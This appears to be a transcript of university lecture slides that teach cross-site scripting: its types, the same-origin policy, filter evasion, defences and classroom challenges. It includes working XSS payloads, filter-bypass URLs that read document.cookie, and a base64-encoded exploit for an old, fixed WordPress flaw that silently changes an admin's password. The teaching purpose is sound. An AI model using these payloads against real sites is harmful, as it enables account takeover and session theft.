cross-site scripting: analysis, identification and...
TRANSCRIPT
Cross-Site Scripting: analysis, identification and exploitation
Mauro Gentile
Web Application Security course (Elective in Computer Networks) prof. Fabrizio d'Amore
Dept. of Computer, Control, and Management Engineering Antonio RubertiSapienza University of Rome
● Msc in Computer Engineering
● Application Security background● Master's Thesis: “Automatic and Context-Aware Cross-Site Scripting Filter
Evasion”, supervisor: prof. d'Amore● XSS filter evasion tool: http://code.google.com/p/snuck/● Ranked 4th in the “Premio Clusit” as one of the most innovative Italian IT security
thesis in 2012
● Security Consultant at Minded Security● Application Security Consulting & Security Research company
● Interested in:● Web Application Security● Web Browser Security
● Some bugs @ http://www.sneaked.net
Who am i?
● Why web app sec is important?● Online platforms handling private data are becoming more and more popular● High benefits from the users perspective, but...● … such kind of applications fascinate the hackers!
● Huge number of web app attacks registered in the last years● High probability of being attacked sooner or later● Accessing companies data possibly implies:
● Customer loss ● Reputation impact
● Building a completely safe web app is not easy!● Many aspect should be taken into account (OWASP principles)● Attackers could be smart● Awareness is required among developers
Web App Security
XSS: Cross-Site Scripting
● XSS is a web application vulnerability that exploits the trust a user has for a web site● The attacker's goal is to execute malicious code in the context of a trusted web site
● Practical example?
Hey <?php echo $_GET['name']; ?>, how are u?
The application reflects the name given in the GET parameter called name.
http://target.net/page.php?name=superman
Hey superman, how are u?
But the attacker could inject its own code in order to execute JavaScript
http://target.net/page.php?name=<script>alert(1)</script>
Hey <script>alert(1)</script>, how are u?
One step back: SOP
● Web Browser security is regulated by a policy, the Same Origin Policy, which restricts how a document or script loaded from one origin can interact with a resource from another origin
● Practically speaking, the scripts in domain A.com cannot access the data in B.com
● How is XSS related to SOP?● The attacker can inject code in the target domain● The web browser cannot distinguish among a benign and a malicious script● Therefore it executes it
● This means that the attacker can access the data in that domain since this is perfectly legit from the SOP perspective● External JavaScript running on your domain!
SOP, Mozilla Developer Network: https://developer.mozilla.org/en-US/docs/JavaScript/Same_origin_policy_for_JavaScriptBrowser Security Handbook, part 2: https://code.google.com/p/browsersec/wiki/Part2
XSS Classification● Reflected XSS
● Injection immediately echoed in the server's response● Refer to the previously mentioned example
XSS Classification● Stored XSS
● Injection stored in a permanent data store and echoed at every visit
XSS Classification● DOM-Based XSS
● Misuse the existent client-side script in order to make it work maliciously
DOM Based Cross Site Scripting or XSS of the Third Kind: http://www.webappsec.org/projects/articles/071105.shtml
<html><body><script>var pos=document.URL.indexOf("name=")+5;document.write(document.URL.substring(pos,document.URL.length));</script>
</body></html>
How can we trigger the issue? http://target/test.html#name=<script>alert(1)</script>
How to discover them?Realtime Dynamic Data Tainting – DOMinator, https://dominator.mindedsecurity.com/
XSS detection● Manual Penetration testing
● Time-consuming task and expert skills are obviously required● However, good detection coverage
● Web Vulnerability Scanners● Tools that address the vulnerabilities detection problem by automating the whole
discovery process● The existing literature showed many intrinsic limitations:
● False positives● Crawling problem
● Poor coverage of data entry points● Intended Workflow
● How should the application be used?
Why Johnny can't pentest: an analysis of black-box web vulnerability scanners: http://cs.ucsb.edu/~adoupe/static/black-box-scanners-dimva2010.pdf
Protecting against XSS● Server-side mechanisms
● HtmlPurifier
● Client-side mechanisms● NoScript, XSSAuditor
● Web Application Firewalls● ModSecurity
● Content Security Policy
XSS filter: sanitization system that prevents malicious code to be supplied through a form or, more generally, through a data entry point in a web application
Some examples● Basic XSS #1
<html><body><script>var my_variable = “<?= $_GET['test']; ?>”; // handle my_variable here </script>
</body></html>
How can we inject it? http://target/page.php?test=“;alert(1)//
<html><body><script>var my_variable = ““;alert(1)//”; // handle my_variable here
Break out the JS variable and close the assignment
Injection payload
Comment the rest in order to avoid JS errors
Some examples (cont.d)● Basic XSS #2
<html><body><a href=“<?= $_GET['test']; ?>”>click me</a></body></html>
How can we inject it? http://target/page.php?test=javascript:alert(1)
Pseudoscheme + colon Injection payload
No colon allowed? http://target/page.php?test=#” onmouseover=alert(1)//
http://target/page.php?test=%23%22%20onmouseover%3Dalert(1)%2F%2F
Url encoded:
Filtering● Dumb Filtering Example #1
● Filtering means to strip out potentially harmful user-generated content
<html><body><?php$text = $_GET['test'];echo strip_tags($text, '<p><a>');?></body></html>
● Stopping <script>alert(1)</script> or similars would not make the app XSS-safe!
● The attacker could still inject <a href=javascript:alert(1)>xxx
Filtering (cont.d)● Dumb Filtering Example #2
● Idea: stripping out double quotes to avoid attribute breaking
Obviously vulnerable:
http://target/page.php?id=);prompt(document.cookie)//
Fix #1 – disallow parentheses and double quotes
Developer's perspective: disallowing parentheses means to avoid the attacker to execute JavaScript functions
Attacker's perspective: is there any chance to make a successful injection without using parentheses?
Filtering (cont.d)● Dumb Filtering Example #2
Attacker's perspective: is there any chance to make a successful injection without using parentheses? Yes!
http://target/page.php?id=location.href='javascript:prompt%2528/mauro%20rocks/%2529'
Fix #2 – disallow parentheses, double quotes and colons
Developer's perspective: disallowing colons will block the attacker to generate these malicious redirects
Attacker's perspective: is there any chance to make a successful injection without using these characters?
http://target/page.php?id=location.href='javascript:prompt%2528/mauro%20rocks/%2529'
Filtering (cont.d)● Dumb Filtering Example #2
Attacker's perspective: is there any chance to make a successful injection without using colons? Yes!
http://target/page.php?id=location.href='javascript%26%2358;prompt%2528/mauro%20rocks/%2529'
Fixing in this way is incredibly foolish!
● XSS cannot be solved through a blacklist, whereas a whitelist approach allows to successfully handle such situations
● We can continue to fix over and over as the attacker will always find a way to obfuscate its own payload
● XSS is related to the context, therefore output encoding should be carried out on the basis of the context the supplied data will be reflected into● Solution: use web application security control library, such as OWASP ESAPI
http://target/page.php?id=innerHTML=location.hash#<img src=xx:x onerror=alert(1) />
Filtering (cont.d)The mentioned issue could have been simply handled through input validation, as follows:
● Adopting regular expressions means to implicitely adopt a whitelist ● No chance for the attacker to inject non numeric chars
● However, these are very basic attack scenarios...● Allowing users to share its own content, while giving them a wide degree of freedom
in terms of allowed inputs, may become challenging● The complexity raises as the number of possible data entry points in which users
might marshal content increases
Simple and effective
Exploitation● How to exploit an XSS
● Exploiting vulnerabilities requires creativity as it is quite application-dependent● Evading robust filters requires strong ninja skills
● Some attack vectors may work in a browser, but not in another● A smart exploit would require to know the basic application logic
● Exploit methodologies● Session Hijacking – steal session information to impersonate the victim● Modifying user credentials● Stealing anti-CSRF tokens – perform unwanted actions on the victim's behalf● Phishing attacks ● Control the whole user session
How to: Exploit an XSS: http://blog.detectify.com/post/35208929112/how-to-exploit-an-xss XSS-Track: How to quietly track a whole website through single XSS: http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.htmlJavascript keylogger in JQuery: http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/
Exploitation● Exploitation example
● Persistent XSS in WordPress <= 3.3.1, fixed● The attacker could supply a malicious comment, as follows:
<a href="feed:data:text/html;base64,PHNjcmlwdD4KZnVuY3Rpb24gc3RhcnQoKSB7CnZhciBwd2QgPSAibXluZXdwd2QiOwp2YXIgaWZyID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImlmcmFtZSIpWzBdOwp2YXIgaWZyRG9jID0gaWZyLmNvbnRlbnREb2N1bWVudCB8fCBpZnIuY29udGVudFdpbmRvdy5kb2N1bWVudDsKdmFyIHRoZUZvcm0gPSBpZnJEb2MuZ2V0RWxlbWVudHNCeU5hbWUoInBhc3MxIilbMF07CnRoZUZvcm0udmFsdWUgPSBwd2Q7CnRoZUZvcm0gPSBpZnJEb2MuZ2V0RWxlbWVudHNCeU5hbWUoInBhc3MyIilbMF07CnRoZUZvcm0udmFsdWUgPSBwd2Q7Cmlmci5vbmxvYWQ9ZnVuY3Rpb24oKXtsb2NhdGlvbj0naHR0cDovLzEyNy4wLjAuMS9DTVMvd29yZHByZXNzLyc7fTsKaWZyRG9jLmdldEVsZW1lbnRCeUlkKCJzdWJtaXQiKS5jbGljaygpOwp9Cjwvc2NyaXB0Pgo8aWZyYW1lIHNyYz0iaHR0cDovLzEyNy4wLjAuMS9DTVMvd29yZHByZXNzL3dwLWFkbWluL3Byb2ZpbGUucGhwIiB3aWR0aD0wIGhlaWdodD0wIG9ubG9hZD0ic3RhcnQoKSI+">CLICKME!!!</a>
Multiple vulnerabilities in Wordpress: http://www.sneaked.net/multiple-vulnerabilities-in-wordpress
Exploitation (cont.d)● Decoding the base64 payload...
<script>function start() {var pwd = "MY_NEW_PWD";var ifr = document.getElementsByTagName("iframe")[0];var ifrDoc = ifr.contentDocument || ifr.contentWindow.document;var theForm = ifrDoc.getElementsByName("pass1")[0];theForm.value = pwd;theForm = ifrDoc.getElementsByName("pass2")[0];theForm.value = pwd;ifr.onload=function(){location='http://127.0.0.1/CMS/wordpress/';};ifrDoc.getElementById("submit").click();}</script><iframe src="http://127.0.0.1/CMS/wordpress/wp-admin/profile.php" width=0 height=0 onload="start()">
● Asking the admin to click the injected link makes him modify its own password!● data URIs inherit the origin of the opener in Firefox● feed scheme in Firefox <= 13● X-Frame-Options: SAMEORIGIN in WordPress
Here starts the fun... ● We introduce 4 XSS challenges, that you should solve!
● http://www.dis.uniroma1.it/~waslab/ - read the Note, it's important!● Increasing complexity● For any challenge you are asked to meet a goal
● You are basically asked to manage a successful injection that allows to execute your own code
● Play hard and focus on the goals● Submit your solutions through the challenge itself
Challenge #1● URL: http://www.dis.uniroma1.it/~waslab/challenge-1.php● Complexity: basic● Goal: perform an alert([your_name rocks]) – for instance generate an alert('mauro
rocks')
● Description: Your input is filtered in a very easy fashion● You need to “reverse” the filter function logic and inject HTML code aiming towards
executing JS code
● Example: http://www.dis.uniroma1.it/~waslab/challenge-1.php?xss=nice_to_meet_u_xss
<html><body><textarea><?= filter($_GET['test']); ?></textarea></body></html>
Challenge #2● URL: http://www.dis.uniroma1.it/~waslab/challenge-2.php● Complexity: basic● Goal: perform an alert([your_name]) – for instance generate an alert('mauro')
● Description: Common XSS scenario● Your input is reflected in the attribute src of an image
● Try with this: http://www.dis.uniroma1.it/~waslab/challenge-2.php?xss=http://upload.wikimedia.org/wikipedia/commons/8/8a/Cat_eyes_2007-2.jpg
<html><body><img src=”<?= filter($_GET['test']); ?>” /></body></html>
Challenge #3● URL: http://www.dis.uniroma1.it/~waslab/challenge-3.php● Complexity: medium● Goal: perform an alert('xss')
● Description: Common XSS scenario in the case of persistent ones● You can inject HTML code, but you need to understand which whitelist is employed● Quite tricky since some annoying filtering mechanisms are adopted
● Try with this: http://www.dis.uniroma1.it/~waslab/challenge-3.php?xss=<h1>my firSt injection</h1>
<html><body><?= filter($_GET['test']); ?></body></html>
Challenge #4● URL: http://www.dis.uniroma1.it/~waslab/challenge-4.php● Complexity: advanced● Goal: perform an alert(1)
● Description: Advanced XSS scenario● Two injection parameters● Puzzling filtering mechanisms are adopted
● Squeeze your brain...!
<script>/* alert(<?= filter($_GET['a']); ?>=<?= filter2($_GET['b']); ?>) */</script>
Challenge (cont.d)● Hints will be provided if troubles arise● For further information – excluding solutions – mail @ [email protected]● ...and, last but not least, have fun guys!
● In addition, we are working on some other challenges - refer to http://www.dis.uniroma1.it/~waslab/ ● SQL Injection● Local File Inclusion● Command Execution
Challenge (cont.d)
● The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws, Dafydd Stuttard, Marcus Pinto
● Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-', Mario Heiderich, Eduardo Alberto Vela Nava, Gareth Heyes, David Lindsay
● The Tangled Web: A Guide to Securing Modern Web Applications,Michal Zalewski
● Browser Security Handbook, http://code.google.com/p/browsersec/wiki/Main,Michal Zalewski
● domxsswiki, http://code.google.com/p/domxsswiki/,Stefano Di Paola
● Cross-site Scripting (XSS), https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29,OWASP
● Cross Site Scripting Attack , http://www.acunetix.com/websitesecurity/cross-site-scripting/,Acunetix
● Hackvertor, https://hackvertor.co.uk/public,Gareth Heyes
Recommended readings and resources
● Thanks!
Questions?
Mauro Gentile
PersonalEmail: [email protected]: http://www.sneaked.netTwitter: @sneak_
CompanyEmail: [email protected]: http://www.mindedsecurity.comBlog: http://blog.mindedsecurity.comTwitter: @mindedsecurity